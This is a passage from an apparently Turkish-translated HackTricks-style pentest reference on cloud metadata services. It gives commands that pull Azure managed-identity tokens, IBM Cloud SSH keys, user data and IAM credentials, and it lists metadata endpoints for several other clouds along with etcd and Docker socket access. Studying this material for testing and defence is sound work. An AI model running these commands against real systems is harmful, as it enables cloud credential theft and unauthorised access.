> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# (Fingerprint) You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get vault token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
# Get storage token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```bash
|
||
# Define the API version
|
||
$API_VERSION = "2019-08-01"
|
||
|
||
# Function to get a token for a specified resource
|
||
function Get-Token {
|
||
param (
|
||
[string]$Resource
|
||
)
|
||
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
|
||
$headers = @{
|
||
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
|
||
}
|
||
try {
|
||
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
|
||
$response.access_token
|
||
} catch {
|
||
Write-Error "Error obtaining token for $Resource: $_"
|
||
}
|
||
}
|
||
|
||
# Get Management Token
|
||
$managementToken = Get-Token -Resource "https://management.azure.com/"
|
||
Write-Host "Management Token: $managementToken"
|
||
|
||
# Get Graph Token
|
||
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
|
||
Write-Host "Graph Token: $graphToken"
|
||
|
||
# Get Vault Token
|
||
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
|
||
Write-Host "Vault Token: $vaultToken"
|
||
|
||
# Get Storage Token
|
||
$storageToken = Get-Token -Resource "https://storage.azure.com/"
|
||
Write-Host "Storage Token: $storageToken"
|
||
|
||
|
||
# Using oneliners
|
||
|
||
## Get management token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get graph token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get vault token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Get storage token
|
||
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
|
||
|
||
## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
|
||
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
## IBM Cloud
|
||
|
||
> [!WARNING]
|
||
> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile buna erişemeyebilirsiniz.
|
||
```bash
|
||
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
|
||
-H "Metadata-Flavor: ibm"\
|
||
-H "Accept: application/json"\
|
||
-d '{
|
||
"expires_in": 3600
|
||
}' | jq -r '(.access_token)'`
|
||
|
||
# Get instance details
|
||
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys info
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
|
||
|
||
# Get SSH keys fingerprints & user data
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
|
||
|
||
# Get placement groups
|
||
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
|
||
|
||
# Get IAM credentials
|
||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||
```
|
||
Aşağıda çeşitli platformların metadata hizmetleri için belgeleri özetlenmiştir ve örnekler, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır.
|
||
|
||
## Packetcloud
|
||
|
||
Packetcloud'un metadata'sına erişim için belgeler şurada bulunabilir: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||
|
||
## OpenStack/RackSpace
|
||
|
||
Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adres üzerinden erişilebilir:
|
||
|
||
- `http://169.254.169.254/openstack`
|
||
|
||
## HP Helion
|
||
|
||
Burada da bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adresten erişilebilir:
|
||
|
||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||
|
||
## Oracle Cloud
|
||
|
||
Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sunmaktadır:
|
||
|
||
- `http://192.0.0.192/latest/`
|
||
- `http://192.0.0.192/latest/user-data/`
|
||
- `http://192.0.0.192/latest/meta-data/`
|
||
- `http://192.0.0.192/latest/attributes/`
|
||
|
||
## Alibaba
|
||
|
||
Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunmaktadır:
|
||
|
||
- `http://100.100.100.200/latest/meta-data/`
|
||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||
|
||
## Kubernetes ETCD
|
||
|
||
Kubernetes ETCD, API anahtarları, dahili IP adresleri ve portlar tutabilir. Erişim şu şekilde gösterilmektedir:
|
||
|
||
- `curl -L http://127.0.0.1:2379/version`
|
||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||
|
||
## Docker
|
||
|
||
Docker metadata'sına yerel olarak erişilebilir, konteyner ve görüntü bilgilerini alma örnekleri verilmiştir:
|
||
|
||
- Docker soketi aracılığıyla konteynerler ve görüntüler metadata'sına erişim için basit bir örnek:
|
||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||
- Konteyner içinde, Docker soketi ile curl kullanın:
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||
|
||
## Rancher
|
||
|
||
Rancher'ın metadata'sına erişim şu şekilde yapılabilir:
|
||
|
||
- `curl http://rancher-metadata/<version>/<path>`
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|